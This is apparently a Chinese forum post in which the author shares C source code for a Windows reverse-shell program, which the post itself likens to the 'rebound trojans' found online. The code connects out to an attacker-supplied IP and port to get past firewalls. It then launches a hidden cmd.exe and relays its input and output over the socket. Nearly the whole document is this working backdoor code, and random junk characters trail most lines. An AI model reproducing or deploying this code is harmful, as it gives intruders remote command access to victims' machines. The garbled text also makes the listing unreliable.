这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 GRVF/hPn
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/* ============================== %;= ?r*]
Rebound port in Windows NT 3;wiwN'
By wind,2006/7 N`3^:EJL8
===============================*/ v ;Q*0%~
#include ;(;~yB|NZ5
#include TA:uB[Ji
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#pragma comment(lib,"wsock32.lib") fE&s 6w&
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void OutputShell(); }aI>dHL
SOCKET sClient; ~gOZ\jm}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HY?#r]Ryt
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void main(int argc,char **argv) v0=v1G*rvJ
{ c#1kg@q@
WSADATA stWsaData; ~RwoktO
int nRet; %|^,Q -i,
SOCKADDR_IN stSaiClient,stSaiServer; Q-#<{' (
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if(argc != 3) ST~YO
{ pFZ$z?lI
printf("Useage:\n\rRebound DestIP DestPort\n"); gyV`]uqG
return; 7N@[Rtv
}
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WSAStartup(MAKEWORD(2,2),&stWsaData); UL#:!J/34
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); quC$<Y
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); ZU`~@.`i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) t%5bDdo
{ ]@Z
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printf("Bind Socket Failed!\n"); ,O:p`"3`0=
return; 1ah,Zth2
} @,;h!vB*=
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stSaiServer.sin_family = AF_INET; |`Yn'Mj8rm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {Oq8A.daJ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "UhE'\()
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8t, &dq
{ RW1+y/#%P
printf("Connect Error!"); T5e#Ll/
return; R^sgafGl=
} )Y'g;
OutputShell(); ZNk[Jn
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} {hN<Ot
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void OutputShell() I|K!hQ"m
{ I@O9bxR?
char szBuff[1024]; P?c V d2Y
SECURITY_ATTRIBUTES stSecurityAttributes; JC~4B3!
OSVERSIONINFO stOsversionInfo; iC^G^ ~V+H
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9 BU#THDm
STARTUPINFO stStartupInfo; Eyk:pnKJb
char *szShell; /YU8L
PROCESS_INFORMATION stProcessInformation; -%P}LaC<
unsigned long lBytesRead; h8Oj
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9=/4}!.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cXf/
stSecurityAttributes.lpSecurityDescriptor = 0; \-{$IC-L
stSecurityAttributes.bInheritHandle = TRUE; llh
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :pz@'J
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nnE'zk<"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f\q5{#"z
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L]"$dF
stStartupInfo.wShowWindow = SW_HIDE; b\o>4T
stStartupInfo.hStdInput = hReadPipe; 3XQe? 2:<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5 $$Cav
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GetVersionEx(&stOsversionInfo); ].aFdy
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switch(stOsversionInfo.dwPlatformId) I*(kv7(c0
{ n_ ?+QF
case 1: yD.(j*bMK;
szShell = "command.com"; Rbr:Q]zGN
break; G,^ ?qbHg
default: Q*1'k%7
szShell = "cmd.exe"; @p^EXc*|
break; 7t}s5}Z 4
} k{b|w')
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T"C.>G'[B
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send(sClient,szMsg,77,0); aK|
while(1) #Yp&yi
}
{ +opym!\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); hJSWh5]
if(lBytesRead) -b8SaLak
{ VYh/URU>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (4yXr|to}
send(sClient,szBuff,lBytesRead,0); d7QUg6=
} s"w^E\>6
else GE=S.P;
{ u8|CeA
lBytesRead=recv(sClient,szBuff,1024,0); I?%q`GyP5
if(lBytesRead<=0) break; }aXS MxCd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,WnZ^R/n
} r2i]9>w
} /YJBRU2
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return; "-MB U
}